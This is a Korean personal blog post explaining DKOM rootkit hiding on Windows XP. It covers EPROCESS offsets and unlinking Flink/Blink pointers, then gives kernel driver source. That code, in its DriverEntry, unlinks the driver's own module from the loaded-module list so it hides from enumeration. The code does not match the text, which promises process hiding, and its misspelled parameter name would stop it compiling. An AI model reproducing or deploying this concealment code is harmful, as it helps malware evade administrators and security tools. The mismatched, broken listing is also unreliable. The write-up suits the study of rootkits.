일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 한글 악성코드
- TCP Server/Client
- Universal ShellCode
- UDP Server/Client
- Python GetProcAddress
- 악성코드
- VMware
- Hover Action
- Python Win32 API
- 파이썬 외부프로그램 실행
- c# 파일 IO
- Python LoadLibrary
- c# 파일명 변경
- 파워쉘
- vbscript
- c# 디렉토리 파일 조회
- c# xml 파싱
- PowerShell
- TCP Socket
- 파이썬
- PPT Malware
- hex2bin
- c# 파일 읽기쓰기
- 최순실 악성코드
- pdf 악성코드
- c# 외부 프로그램 실행
- Mouse Over
- c# 프로그램 종료
- anti vm
- FTP Server/Client
- Today
- Total
그냥저냥
DKOM (프로세스 은닉) 본문
DKOM (Direct Kernel Object Manipulation)
윈도우 OS는 프로세스 관리를 위해 EPROCESS 구조체를 이용한 이중 연결리스트를 사용한다.
각 프로세스에 대한 정보는 EPROCESS 라는 구조체로 관리되며, 중요하게 봐야할 필드는 아래와 같다.
(Windows XP 기준)
- 0x084 (UniqueProcessId) : 각 프로세스 별로 부여된 PID
- 0x088 (ActiveProcessLinks) : 프로세스 링크에 대한 이중연결리스트
- 0x174 (ImageFileName) : 프로세스 이름
<EPROCESS 구조체 일부> <LIST ENTRY 구조체>
Flink : 다음 프로세스에 대한 EPROCESS 구조체를 가리킴
Blink : 이전 프로세스의 EPROCESS 구조체를 가리킴
Flink와 Blink의 값을 적절히 바꾸면 아래 그림처럼 특정 프로세스를 숨길 수 있다.
<소스코드>
NTSTATUS DriverEntry(PDRIVER_OBJECT pDirverObject, PUNICODE_STRING pRegistryPath) { PLDR_DATA_TABLE_ENTRY PrevEntry, ModuleEntry, NextEntry; DbgPrint("DriverSection address : %#x", pDriverObject->DriverSection); ModuleEntry=(PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; PrevEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Blink; // PrevEntry : 현재 모듈의 Blink 저장 NextEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Flink; // NextEntry : 현재 모듈의 Flink 저장 PrevEntry->InLoadOrderLinks.Flink=ModuleEntry->InLoadOrderLinks.Flink; // 이전 모듈의 Flink에 현재 모듈의 Flink 저장 NextEntry->InLoadOrderLinks.Blink=ModuleEntry->InLoadOrderLinks.Blink; // 다음 모듈의 Blink에 현재 모듈의 Blink 저장 ModuleEntry->InLoadOrderLinks.Flink=(PLIST_ENTRY)ModuleEntry; // 현재 모듈의 Flink와 Blink에 자기자신 ModuleEntry->InLoadOrderLinks.Blink=(PLIST_ENTRY)ModuleEntry; // 모듈을 가리키도록 설정
DbgPrint("Hidden driver loaded at address %#x", ModuleEntry->DllBase); return STATUS_SUCCESS; }
'System' 카테고리의 다른 글
Universal ShellCode 기초 정리 (0) | 2017.02.06 |
---|---|
ssdeep + Fuzzy Hash (0) | 2016.08.12 |
BootKit 동작과정 (보류) (0) | 2016.07.31 |
CPU Ring Level (0) | 2016.07.31 |